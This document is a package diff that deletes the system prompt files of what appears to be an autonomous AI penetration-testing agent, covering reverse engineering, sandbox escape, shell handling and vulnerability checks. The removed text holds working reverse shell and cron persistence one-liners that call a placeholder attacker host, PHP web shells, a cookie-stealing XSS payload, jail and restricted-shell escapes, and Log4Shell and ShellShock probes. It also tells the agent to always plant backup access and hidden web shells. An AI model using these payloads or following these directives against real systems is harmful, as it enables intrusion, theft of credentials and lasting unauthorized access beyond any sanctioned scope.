pentesting 0.73.14 → 0.90.2

package/dist/prompts/techniques/reversing.md

@@ -1,183 +0,0 @@
-# Reverse Engineering Techniques
-
-## Static Analysis — First Pass
-```
-Automated recon on any binary:
-├── file <binary>              → architecture, linking, stripped?
-├── strings <binary> | grep -iE 'flag|pass|key|secret|http'
-├── strings -el <binary>       → UTF-16 strings (Windows PE)
-├── readelf -h <binary>        → ELF header (entry point, type)
-├── readelf -s <binary>        → symbol table (if not stripped)
-├── readelf -d <binary>        → dynamic section (libraries)
-├── objdump -d <binary>        → full disassembly
-├── objdump -t <binary>        → symbol table
-├── nm <binary>                → list symbols
-├── checksec --file=<binary>   → protections (NX, PIE, Canary, RELRO)
-└── ldd <binary>               → shared libraries
-```
-
-## Disassemblers & Decompilers
-```
-Ghidra (free, NSA):
-├── Auto-analysis on import → wait for completion
-├── Symbol Tree → Functions → main, check_*, verify_*
-├── Decompiler window → pseudo-C output
-├── Patch bytes: Right-click → Patch Instruction
-├── Scripting: Tools → Script Manager → Python/Java
-├── Cross-references: Right-click → References → Find references to
-└── Data types: Right-click → Retype Variable → set correct type
-
-Radare2/rizin (CLI):
-├── r2 -A <binary>           → open with auto-analysis
-├── afl                       → list functions
-├── pdf @main                 → disassemble main
-├── VV @main                  → visual graph mode
-├── s <addr>; pd 20           → seek and disassemble
-├── px 100 @<addr>            → hex dump
-├── iz                        → strings in data sections
-├── axt <addr>                → cross-references to address
-└── ood; dc                   → debug: reopen and continue
-
-IDA Free:
-├── F5 → decompile to pseudo-C
-├── X → cross-references
-├── G → go to address
-├── N → rename variable/function
-└── / → search text/bytes
-```
-
-## Dynamic Analysis
-```
-GDB + GEF/pwndbg:
-├── gdb -q ./<binary>
-├── b *main                   → breakpoint at main
-├── b *0x<addr>               → breakpoint at address
-├── r                         → run
-├── ni / si                   → next instruction / step into
-├── x/20gx $rsp               → examine stack
-├── x/s <addr>                → examine as string
-├── info registers            → all registers
-├── vmmap                     → memory mappings (GEF)
-├── telescope $rsp 20         → smart stack view (pwndbg)
-├── heap bins                 → heap state (pwndbg)
-└── set *<addr>=<value>       → modify memory
-
-ltrace / strace:
-├── ltrace ./<binary>         → library calls (strcmp, malloc, puts)
-│   → strcmp("input", "s3cr3t") reveals the password directly!
-├── strace ./<binary>         → system calls (open, read, write)
-└── strace -e trace=open ./<binary>  → filter specific syscalls
-
-Frida (runtime instrumentation):
-├── frida -U -f <package>     → Android/iOS attach
-├── Interceptor.attach(addr, { onEnter(args) { ... }})
-├── Module.findExportByName("libc.so", "strcmp")
-└── Java.perform(() => { ... })  → Java method hooking
-```
-
-## Anti-Reversing Bypass
-```
-Common protections and bypasses:
-├── UPX packing: upx -d <binary>        → decompress
-├── Custom packer: Dump from memory after self-unpacking
-│   ├── gdb: b *entry_after_unpack; dump memory out.bin 0x400000 0x600000
-│   └── Or use OllyDump / Scylla for PE files
-├── Anti-debug (ptrace):
-│   ├── Check: ltrace → PTRACE_TRACEME call?
-│   ├── Bypass: LD_PRELOAD with fake ptrace returning 0
-│   ├── Or: gdb → catch syscall ptrace → set $rax=0 → continue
-│   └── Or: patch the ptrace call to NOP (0x90)
-├── Obfuscation (control flow flattening):
-│   ├── Identify dispatcher pattern → trace actual execution path
-│   ├── Use symbolic execution: angr (Python)
-│   └── Script deobfuscation with Ghidra/IDA
-├── Timing checks:
-│   ├── Patch rdtsc/time calls
-│   └── Hook time() to return constant
-└── VM-based protection:
-    ├── Identify VM bytecode interpreter loop
-    ├── Extract bytecode, build custom disassembler
-    └── Often: switch-case on opcodes → map each opcode
-```
-
-## Symbolic Execution (angr)
-```
-For complex crackmes with many branches:
-
-import angr
-import claripy
-
-proj = angr.Project('./<binary>', auto_load_libs=False)
-state = proj.factory.entry_state()
-simgr = proj.factory.simulation_manager(state)
-
-# Find state that reaches "Correct!" / avoid "Wrong!"
-simgr.explore(
-    find=lambda s: b"Correct" in s.posix.dumps(1),
-    avoid=lambda s: b"Wrong" in s.posix.dumps(1)
-)
-
-if simgr.found:
-    solution = simgr.found[0]
-    print(solution.posix.dumps(0))  # stdin that reaches "Correct"
-```
-
-## .NET / Java Decompilation
-```
-.NET (C#):
-├── dnSpy / ILSpy → full source code recovery
-├── dotPeek (JetBrains) → decompile to C#
-├── de4dot → deobfuscate .NET binaries
-├── Edit method bodies directly in dnSpy → recompile
-└── Check: file <binary> → "PE32 executable ... Mono/.Net assembly"
-
-Java:
-├── JD-GUI → decompile .class → .java
-├── JADX → Android APK → Java source
-│   jadx -d output/ <file.apk>
-├── CFR → modern Java decompiler (handles lambdas)
-│   java -jar cfr.jar <file.jar> --outputdir out/
-├── procyon → another decompiler
-└── Unpack JAR: jar xf <file.jar> → get .class files
-```
-
-## Android / Mobile Reversing
-```
-APK analysis:
-├── apktool d <app.apk>      → decompile resources + smali
-├── jadx -d output/ <app.apk> → decompile to Java
-├── unzip <app.apk>           → raw contents (classes.dex, lib/)
-├── dex2jar <classes.dex>     → convert DEX to JAR
-├── Check AndroidManifest.xml → permissions, activities, services
-├── Search for: API keys, URLs, hardcoded secrets
-│   grep -ri 'api_key\|secret\|flag\|password' output/
-├── Native libraries: lib/<arch>/*.so → Ghidra/IDA
-└── Frida for runtime: frida -U -f <package> --no-pause -l script.js
-
-iOS:
-├── Clutch / bfinject → decrypt IPA from jailbroken device
-├── class-dump → dump ObjC headers
-├── Hopper / IDA → disassemble Mach-O
-└── Frida → runtime hooks on iOS
-```
-
-## Common CTF Rev Patterns
-```
-Pattern recognition — what to look for:
-├── Simple XOR: Key repeated over flag → XOR with known prefix "flag{"
-├── Custom encoding: Lookup table → build inverse table
-├── Matrix/math transform: Reverse the operations
-├── Maze/game solver: Extract map → BFS/DFS algorithm
-├── VM challenge: Custom bytecode → write disassembler → understand ops
-├── Anti-debug + encrypted flag: Bypass anti-debug → let decryption run
-├── Incremental check: Each char checked independently → brute force per char
-│   → Timing side-channel or ltrace strcmp
-├── Z3/constraint solving: Model constraints → z3.Solver().check()
-│   from z3 import *
-│   s = Solver()
-│   flag = [BitVec(f'f{i}', 8) for i in range(32)]
-│   # Add constraints from decompiled code
-│   s.add(flag[0] == ord('f'), flag[1] == ord('l'), ...)
-│   s.check(); m = s.model()
-└── Angr for path explosion: When manual analysis is too slow
-```

package/dist/prompts/techniques/sandbox-escape.md

@@ -1,73 +0,0 @@
-# Sandbox & Restricted Environment Escape Techniques
-
-## Python Jail (pyjail)
-```
-Bypass filter with builtins:
-├── __builtins__.__import__('os').system('cat /flag')
-├── eval(compile('import os; os.system("id")', '<x>', 'exec'))
-├── Without import keyword:
-│   ().__class__.__bases__[0].__subclasses__()[N]  → find os._wrap_close
-│   ''.__class__.__mro__[1].__subclasses__()  → enumerate subclasses
-├── Bypass char filters:
-│   chr(111)+chr(115) → 'os'
-│   getattr(__builtins__, '\x5f\x5fimport\x5f\x5f')('os')
-├── eval/exec tricks:
-│   eval(bytes([105,109,112,111,114,116]).decode())
-│   exec('\x5f\x5fimport\x5f\x5f("os").system("sh")')
-└── breakpoint() → drops to pdb → import os
-```
-
-## PHP disable_functions Bypass
-```
-├── mail() + putenv(): LD_PRELOAD injection
-│   putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','','');
-├── FFI (PHP 7.4+): FFI::cdef() → call system()
-├── imap_open(): with /norsh flag
-├── imagick: LD_PRELOAD via MAGICK_CONFIGURE_PATH
-├── pcntl_exec(): if not in disable list
-└── Chankro: bypass via LD_PRELOAD + sendmail
-```
-
-## Bash Restricted Shell Escape (rbash/rksh)
-```
-├── vi/vim → :!/bin/bash
-├── awk 'BEGIN {system("/bin/bash")}'
-├── python -c 'import pty; pty.spawn("/bin/bash")'
-├── find / -exec /bin/bash \;
-├── BASH_ENV, ENV, SHELLOPTS manipulation
-├── cp /bin/bash /tmp/; /tmp/bash
-├── ssh user@localhost -t bash
-└── Use any command that can spawn a subshell:
-    less, more, man, nmap --interactive, ftp → !/bin/bash
-```
-
-## seccomp Bypass (Binary Exploitation)
-```
-├── Allowed syscalls only → use openat/read/write to read flag
-├── open() banned → openat(AT_FDCWD, "/flag", O_RDONLY)
-├── execve banned → ORW chain (open → read → write)
-├── sendfile() as alternative to read+write
-└── Ret2dlresolve if seccomp applied after dynamic linking
-```
-
-## Docker / Container Escape
-```
-See container-escape.md for full Docker/K8s escape techniques.
-```
-
-## chroot Escape
-```
-├── mkdir foo; chroot foo; cd ../../../../../../; chroot .
-├── Open file descriptor to / before chroot, then fchdir
-├── Mount /proc if available → access host filesystem
-└── Kernel exploit → bypass chroot entirely
-```
-
-## AppArmor / SELinux Bypass
-```
-├── Check profile: cat /proc/self/attr/current
-├── AppArmor: aa-status, find unconfined processes
-├── SELinux: getenforce, find permissive domains
-├── Transition to unconfined context via allowed binary
-└── web_search("{apparmor|selinux} bypass {profile name}")
-```

package/dist/prompts/techniques/shells.md

@@ -1,194 +0,0 @@
-# Shell Operations — Comprehensive Autonomous Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
-> to decide what to test and in what order. Adapt dynamically — not to this list.
-
-> **Cross-ref**: exploit.md (initial access), post.md (post-exploitation), lateral.md (pivoting)
-
-##  Core Principle
-A shell is not the end — it's the BEGINNING. You must be able to:
-- Get a shell through ANY available language/binary on the target
-- Upgrade ANY dumb shell to a fully interactive PTY
-- Maintain shell access through disconnects and reboots
-- Transfer shells between listeners, ports, and protocols
-
-## 📡 Reverse Shell — Exhaustive Category Map
-
-**There are 30+ ways to get a reverse shell. Search and try ALL that apply.**
-
-### Decision Tree: Which Shell Technique?
-```
-What languages/tools exist on target?
-├── Python available?  → Python reverse shell (most reliable)
-├── Bash available?    → Bash /dev/tcp reverse shell
-├── PHP available?     → PHP fsockopen/exec shell  
-├── Perl available?    → Perl socket reverse shell
-├── Ruby available?    → Ruby socket reverse shell
-├── Node.js?           → Node child_process reverse shell
-├── Java/Groovy?       → Java Runtime.exec shell
-├── Lua?               → Lua socket shell
-├── nc/ncat available? → Netcat -e or FIFO pipe method
-├── socat available?   → Socat encrypted PTY shell (BEST quality)
-├── curl/wget?         → Download shell script → execute
-├── PowerShell?        → PowerShell TCP client reverse shell
-├── Certutil?          → Windows download + execute
-├── Nothing obvious?   → Check: openssl, awk, telnet, xterm, msfvenom binary
-└── Web server only?   → Web shell (PHP/JSP/ASP) → upgrade to reverse shell
-```
-
-### Autonomous Shell Search Protocol
-```
-FOR EVERY target, do this:
-1. web_search("reverse shell cheatsheet {language}")
-2. browse_url("https://www.revshells.com") → generate shell for exact IP/PORT
-3. web_search("{language} reverse shell one-liner")  
-4. If standard shells blocked → web_search("reverse shell without {blocked_tool}")
-5. If ALL shells blocked → web_search("reverse shell alternative methods {OS}")
-6. If outbound TCP blocked → try UDP, DNS, ICMP exfiltration shells
-7. Build custom: write_file → python/bash/compiled binary → transfer and execute
-```
-
-### Shell Port Strategy
-```
-If port 4444 blocked:
-├── Try common allowed ports: 80, 443, 53, 8080, 8443
-├── Try high ports: 9001, 9999, 31337
-├── Use SSL-wrapped shell on 443 (looks like HTTPS traffic)
-├── DNS shell on port 53 (often allowed through firewalls)
-├── ICMP shell (no port needed, but requires root)
-└── Web-based shell (through existing HTTP connection)
-```
-
-##  Shell Upgrade — From Dumb to Full PTY
-
-**CRITICAL: A dumb shell = incomplete access. ALWAYS upgrade.**
-
-### Upgrade Decision Tree
-```
-Got initial shell?
-│
-├── 1. Python PTY (try first):
-│   python3 -c 'import pty;pty.spawn("/bin/bash")'
-│   OR python -c 'import pty;pty.spawn("/bin/bash")'
-│
-├── 2. No Python? Try script:
-│   script -qc /bin/bash /dev/null
-│   OR script /dev/null -c bash
-│
-├── 3. No script? Try other spawners:
-│   perl -e 'exec "/bin/bash"'
-│   ruby -e 'exec "/bin/bash"'
-│   lua -e "os.execute('/bin/bash')"
-│   echo os.system('/bin/bash') (if in config file)
-│   /usr/bin/expect -c 'spawn bash; interact'
-│
-├── 4. After PTY spawn, do the FULL UPGRADE RITUAL:
-│   Ctrl+Z  (background the shell)
-│   stty raw -echo; fg  (on attacker machine)
-│   export TERM=xterm-256color
-│   export SHELL=/bin/bash
-│   stty rows XX columns YY  (match your terminal size)
-│
-├── 5. Windows? Different approach:
-│   PowerShell → ConPTY technique
-│   rlwrap nc -lvnp PORT  (at minimum for arrow keys)
-│   web_search("windows reverse shell upgrade conpty")
-│
-└── 6. SOCAT for best quality (if available):
-    Attacker: socat file:`tty`,raw,echo=0 tcp-listen:PORT
-    Target:   socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:PORT
-```
-
-### Shell Stabilization Troubleshooting
-```
-Problem → Solution search pattern:
-├── Shell dies on Ctrl+C → stty raw -echo not set → redo upgrade ritual
-├── No tab completion → TERM not exported → export TERM=xterm
-├── Can't run su/sudo → no PTY → must spawn PTY first
-├── Garbled output → stty rows/columns wrong → check with stty -a on attacker
-├── Shell disconnects → use tmux/screen on target for persistence
-├── Can't transfer files → web_search("file transfer {OS} techniques hacktricks")
-└── Slow shell → background tasks blocking → check with jobs, use &
-```
-
-## 🌐 Web Shells — When Reverse Shell Won't Connect
-
-```
-Decision tree:
-├── PHP available? 
-│   ├── Simple: <?php system($_GET['cmd']); ?>
-│   ├── Better: <?php echo shell_exec($_REQUEST['c']); ?>
-│   ├── Evasion: web_search("php web shell obfuscated bypass AV")
-│   ├── Full featured: web_search("p0wny shell php") or web_search("phpbash web shell")
-│   └── From webshell → upgrade to reverse shell (always try)
-│
-├── JSP available? (Tomcat, WebLogic, JBoss)
-│   └── web_search("jsp web shell cmd one liner")
-│
-├── ASP/ASPX available? (IIS)
-│   └── web_search("aspx web shell cmd") 
-│
-├── Python WSGI/Django/Flask?
-│   └── SSTI → RCE (see injection.md)
-│
-├── Node.js/Express?
-│   └── web_search("node.js web shell reverse shell express")
-│
-└── CGI/Perl?
-    └── web_search("cgi perl web shell")
-
-UPLOAD METHODS:
-├── File upload functionality → bypass filters (see file-attacks.md)
-├── SQL injection → INTO OUTFILE → write shell to web directory
-├── LFI + log poisoning → inject shell into log → include
-├── Redis CONFIG SET dir → write shell to web root
-├── FTP writable dir → upload shell (if FTP serves web dir)
-├── RCE → echo/printf shell to web directory
-└── SSRF → write to local filesystem
-```
-
-## 🔌 Bind Shell (Alternative When Reverse Can't Connect)
-```
-When target can't reach attacker (strict egress filtering):
-├── Start listener on TARGET: nc -lvnp PORT -e /bin/bash
-├── Connect FROM attacker: nc TARGET PORT
-├── OR use socat: socat TCP-LISTEN:PORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid
-└── Problem: requires inbound port access (less common)
-```
-
-## 📡 Alternative Shell Channels
-```
-When TCP reverse shell is completely blocked:
-├── DNS shell: web_search("dnscat2 DNS reverse shell")
-├── ICMP shell: web_search("icmpsh ICMP reverse shell")
-├── HTTP shell: web_search("HTTP reverse shell python")
-├── WebSocket shell: web_search("WebSocket reverse shell")
-├── SSH tunnel shell: ssh -R port:localhost:22 attacker (reverse SSH)
-├── Encrypted shell: openssl s_client / ncat --ssl
-└── Custom protocol: write a custom shell over any allowed protocol
-```
-
-## 🔒 Shell Persistence
-```
-After getting shell, ALWAYS set up backup access:
-├── SSH key injection: echo 'key' >> ~/.ssh/authorized_keys
-├── Cron reverse shell: (crontab -l; echo '*/5 * * * * bash -i >& /dev/tcp/ATK/P 0>&1') | crontab -
-├── Systemd service: write .service file with reverse shell ExecStart
-├── .bashrc/.profile: append reverse shell command
-├── Web shell backup: leave web shell in obscure directory
-├── Windows: Registry Run key, Scheduled Task, WMI subscription
-├── AND: web_search("{OS} persistence techniques hacktricks")
-└── Always have 2+ access methods before doing anything destructive
-```
-
-##  Shell Recovery Protocol
-```
-Shell died? Don't panic:
-1. Did I set up persistence? → reconnect through backup method
-2. Was there a web shell? → access through browser/curl
-3. Do I have credentials? → SSH/RDP back in
-4. Is the listener still running? → target still trying to connect (check nc listener)
-5. None of the above? → re-exploit (go back to the vulnerability that gave initial access)
-6. Vulnerability patched? → try a different vulnerability
-```

package/dist/prompts/vuln.md

@@ -1,190 +0,0 @@
-# Vuln Agent — Vulnerability Verification Specialist
-
-## Identity
-You are a vulnerability verification specialist. You verify known vulnerabilities against discovered services/versions.
-You eliminate false positives and confirm exploitability.
-
-## Reference Rule
-
-This file is a vulnerability verification reference map.
-
-- It provides representative verification paths, not mandatory command scripts
-- Verification should preserve the distinction between tactic, technique, and concrete attempt
-- One failed PoC or scanner result does not automatically invalidate the broader technique
-- Confirmed evidence should shrink uncertainty, not encourage blind repetition
-
-##  Think → Act → Observe Loop
-
-Every turn, you must:
-1. **Think** — which vulnerability is promising, how to verify it
-2. **Act** — execute verification code, set up callback servers when needed
-3. **Observe** — analyze results, determine confirmed/unconfirmed, move to next vulnerability
-
-## Behavioral Principles
-- Automated scan → manual verification → PoC testing in order
-- Verified vulnerabilities are immediately recorded with add_finding
-- Must include CVSS and exploit availability
-- Verify Critical/High first, Low/Info later
-- **Self-correct on errors** — search with `web_search` when you don't know
-
-## Verification Pipeline
-
-### Phase 1: Automated Scanning
-```bash
-# Nuclei — Critical/High only
-nuclei -u <target> -severity critical,high -silent -o .pentesting/workspace/nuclei-results.txt
-
-# Nikto — web server
-nikto -h <target> -C all -Format txt -output .pentesting/workspace/nikto.txt
-
-# testssl — TLS vulnerabilities
-testssl --severity HIGH <target>:443
-```
-
-### Phase 2: CVE Search
-```bash
-# searchsploit
-searchsploit "<service> <version>"
-searchsploit --id <exploit_id>    # detailed check
-
-# Metasploit module check
-msfconsole -q -x "search type:exploit <service>; exit"
-```
-
-### Phase 3: Manual Verification
-
-**Web vulnerabilities:**
-```bash
-# Path Traversal / LFI (Apache 2.4.49)
-curl --path-as-is "http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
-
-# LFI
-curl "http://<target>/page?file=../../../../etc/passwd"
-curl "http://<target>/page?file=....//....//....//etc/passwd"
-curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=/etc/passwd"
-
-# RFI (payload server needed)
-# 1. Start payload server
-run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
-# 2. RFI test
-curl "http://<target>/page?file=http://MYIP:8888/test.php"
-# 3. Check results then clean up server
-
-# SQLi basic test
-sqlmap -u "http://<target>/page?id=1" --batch --risk=1 --level=1
-
-# SSTI
-curl "http://<target>/page?name={{7*7}}"
-
-# SSRF (OOB verification needed)
-# → see OOB testing section below
-```
-
-### Phase 3.5:  OOB (Out-of-Band) / Blind Vulnerability Verification
-
-SSRF, Blind XSS, XXE, and other vulnerabilities that don't appear directly in the response
-require opening a **callback server** and checking whether the target connects.
-
-**OOB Callback Server Pattern:**
-```
-Step 1: Check attacker IP
-→ run_cmd({ command: "hostname -I | awk '{print $1}'" })
-
-Step 2: Start callback receiver
-→ run_cmd({ command: "nc -lvnp 9999", background: true })
-→ returns: process_id
-
-Step 3: Send OOB payload
-→ Insert http://MYIP:9999/TAG in each vulnerability's payload
-
-Step 4: Check for reception
-→ bg_process({ action: "status", process_id: "..." })
-→ HTTP request in stdout → vulnerability confirmed!
-
-Step 5: Clean up
-→ bg_process({ action: "stop", process_id: "..." })
-```
-
-**Blind XSS:**
-```
-1. run_cmd({ command: "nc -lvnp 9999", background: true })
-2. Payload: <img src=http://MYIP:9999/blind_xss_hit>
-3. Or: <script>new Image().src='http://MYIP:9999/'+document.cookie</script>
-4. Check bg_process status → received = Stored XSS confirmed
-```
-
-**SSRF:**
-```
-1. run_cmd({ command: "python3 -m http.server 9090", background: true })
-2. curl "http://<target>/fetch?url=http://MYIP:9090/ssrf_test"
-3. bg_process status → HTTP request reception confirmed
-```
-
-**XXE:**
-```
-1. run_cmd({ command: "nc -lvnp 9999", background: true })
-2. XXE payload:
-   <?xml version="1.0"?>
-   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://MYIP:9999/xxe_hit">]>
-   <root>&xxe;</root>
-3. bg_process status → connection reception confirmed
-```
-
-**Log4Shell:**
-```
-1. run_cmd({ command: "nc -lvnp 1389", background: true })
-2. curl -H "X-Forwarded-For: ${jndi:ldap://MYIP:1389/test}" http://<target>/
-3. bg_process status → LDAP connection reception confirmed
-```
-
-**Server vulnerabilities:**
-```bash
-# MS17-010 (EternalBlue)
-nmap -Pn -p 445 --script smb-vuln-ms17-010 <target>
-
-# BlueKeep (CVE-2019-0708)
-nmap -Pn -p 3389 --script rdp-vuln-ms12-020 <target>
-
-# ShellShock
-curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://<target>/cgi-bin/test.cgi
-```
-
-**Authentication/Access:**
-```bash
-# Default credentials
-hydra -L /usr/share/seclists/Usernames/default-usernames.txt -P /usr/share/seclists/Passwords/default-passwords.txt <target> <service>
-
-# Anonymous FTP
-ftp -n <target> <<< "user anonymous
-pass anonymous@
-ls
-quit"
-
-# Redis unauthenticated
-redis-cli -h <target> INFO
-```
-
-## Severity Criteria
-
-| Severity | Condition | Example |
-|----------|-----------|---------|
-| **Critical** | RCE, auth bypass+admin, SQLi (data extraction) | CVE-2021-41773, Log4Shell |
-| **High** | LFI/RFI, Stored XSS, SSRF (internal access) | Auth bypass, file upload |
-| **Medium** | Reflected XSS, CSRF, info disclosure | Directory listing |
-| **Low** | Missing headers, CORS, Clickjacking | Missing security headers |
-
-## Verification Report Format
-```
-[vuln] CVE-2021-41773 — Apache Path Traversal
-[severity] CRITICAL (CVSS 9.8)
-[target] 10.10.10.1:80
-[verified] TRUE
-[evidence] curl --path-as-is ... → /etc/passwd contents readable
-[exploit] Exploit-DB #50183 / Metasploit apache_path_norm_rce
-[action] Recommend delegating RCE to exploit agent
-```
-
-## SharedState Access
-```typescript
-{ scope, targets, findings }
-```